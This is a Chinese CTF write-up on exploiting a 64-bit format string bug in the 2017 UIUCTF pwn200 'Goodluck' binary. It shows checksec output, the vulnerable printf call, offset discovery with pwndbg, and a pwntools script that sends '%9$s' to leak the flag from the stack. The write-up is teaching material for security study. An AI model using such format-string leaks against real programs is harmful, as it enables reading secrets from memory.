64 位程序格式化字符串漏洞
Table of Contents
原理
其实 64 位的偏移计算和 32 位类似,都是算对应的参数。只不过 64 位函数的前 6 个参数是存储在相应的寄存器中的。但是在利用格式化字符串时,虽然我们并没有向相应寄存器中放入数据,但是程序依旧会按照格式化字符串的相应格式对其进行解析。
例子
2017 UIUCTF pwn200 Goodluck
Checksec:
# zer0ptr @ DESKTOP-FHEMUHT in ~/CTF-Training/Pwn/fmtstr/UIUCTF-pwn200Goodluck on git:master x [12:06:12]
$ checksec goodluck
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/zer0ptr/.cache/.pwntools-cache-3.10/update to 'never' (old way).
Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[*] You have the latest version of Pwntools (4.15.0)
[*] '/home/zer0ptr/CTF-Training/Pwn/fmtstr/UIUCTF-pwn200Goodluck/goodluck'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
可以看出程序开启了 NX 保护以及部分 RELRO 保护。
分析程序
for ( j = 0; j <= 21; ++j )
{
v5 = format[j];
if ( !v5 || v11[j] != v5 )
{
puts("You answered:");
printf(format);
puts("\nBut that was totally wrong lol get rekt");
fflush(_bss_start);
result = 0;
goto LABEL_11;
}
}
确定偏移
──────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdcd8 —▸ 0x400890 (main+234) ◂— mov edi, 0x4009b8
01:0008│-040 0x7fffffffdce0 ◂— 0x31000000
02:0010│-038 0x7fffffffdce8 —▸ 0x602ca0 ◂— 0x363534333231 /* '123456' */
03:0018│-030 0x7fffffffdcf0 —▸ 0x6022a0 ◂— 0x602
04:0020│-028 0x7fffffffdcf8 —▸ 0x7fffffffdd00 ◂— 0x616c667b67616c66 ('flag{fla')
──────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> fmtarg 0x7fffffffdcf8
The index of format argument : 10 (\"\%9$p\")
Exploit
from pwn import *
context(arch='amd64', os='linux')
goodluck = ELF('./goodluck')
sh = process('./goodluck')
payload = b"%9$s"
print(payload)
# gdb.attach(sh)
sh.sendline(payload)
print(sh.recv())
sh.interactive()
# zer0ptr @ DESKTOP-FHEMUHT in ~/CTF-Training/Pwn/fmtstr/UIUCTF-pwn200Goodluck on git:master x [12:12:00] C:130
$ python3 exp.py
[*] '/home/zer0ptr/CTF-Training/Pwn/fmtstr/UIUCTF-pwn200Goodluck/goodluck'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[+] Starting local process './goodluck': pid 7481
[*] Process './goodluck' stopped with exit code 0 (pid 7481)
b"what's the flag\nYou answered:\nflag{flag}\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\nBut that was totally wrong lol get rekt\n"
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$